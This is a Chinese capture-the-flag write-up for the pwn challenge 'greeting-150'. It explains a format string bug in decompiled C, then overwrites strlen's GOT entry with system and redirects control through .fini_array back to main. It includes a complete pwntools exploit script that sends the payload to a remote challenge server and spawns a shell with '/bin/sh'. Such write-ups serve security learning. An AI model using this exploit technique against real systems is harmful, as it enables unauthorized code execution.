攻防世界 - pwn - greeting-150

格式化字符串漏洞,main函数中逻辑写的很清晰:

void main(void)

{
  int iVar1;
  int in_GS_OFFSET;
  char local_94 [64];
  undefined local_54 [64];
  int local_14;
  
  local_14 = *(int *)(in_GS_OFFSET + 0x14);
  printf("Please tell me your name... ");
  iVar1 = getnline(local_54,0x40);
  if (iVar1 == 0) {
    puts("Don\'t ignore me ;( ");
  }
  else {
    sprintf(local_94,"Nice to meet you, %s :)\n",local_54);
    printf(local_94);
  }
  if (local_14 != *(int *)(in_GS_OFFSET + 0x14)) {
    __stack_chk_fail();
  }
  return;
}

可做任意地址写,再看getnline函数逻辑:

void getnline(char *param_1,int param_2)

{
  char *pcVar1;
  
  fgets(param_1,param_2,stdin);
  pcVar1 = strchr(param_1,10);
  if (pcVar1 != (char *)0x0) {
    *pcVar1 = '\0';
  }
  strlen(param_1);
  return;
}

strlen函数使用的很奇怪,可以考虑把got表中strlen位置改为system函数的地址,这时控制流需要回到main函数中去,所以格式化字符串任意写需要完成两件事:写strlen的got表为system,让控制流回到main。

这题还考察了fini_array的使用,elf格式的可执行文件执行在main函数前执行.init段的指令,终止前执行.fini段的指令,可参考init and fini section。fini_array使用的优先级高于fini段,其中包含了程序结束前需要执行函数的地址,并且倒序执行,参考When will the .fini_array section being used?,改变控制流只需要在fini_array中写入main函数地址。

找完offset后可以写exp,在offset前需要填入2bytes以对齐:

from pwn import *

context(log_level="debug", arch="i386", os="linux")
elf = ELF("./greeting-150")
# r = process("./greeting-150")
r = remote("111.200.241.244", 56542)
fini_array = 0x8049934

payload = b'BB' + p32(fini_array) + p32(elf.got["strlen"])
payload += "%{}c".format(0xed - len(payload) -  0x12).encode("utf-8") + b"%12$hhn"
# 0x12 is 'Nice to meet you, '
payload += "%{}c".format(elf.plt["system"] - 0xed).encode("utf-8") + b"%13$n"
r.recvuntil(b"Please tell me your name... ")
r.sendline(payload)
r.sendline(b"/bin/sh")
r.interactive()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容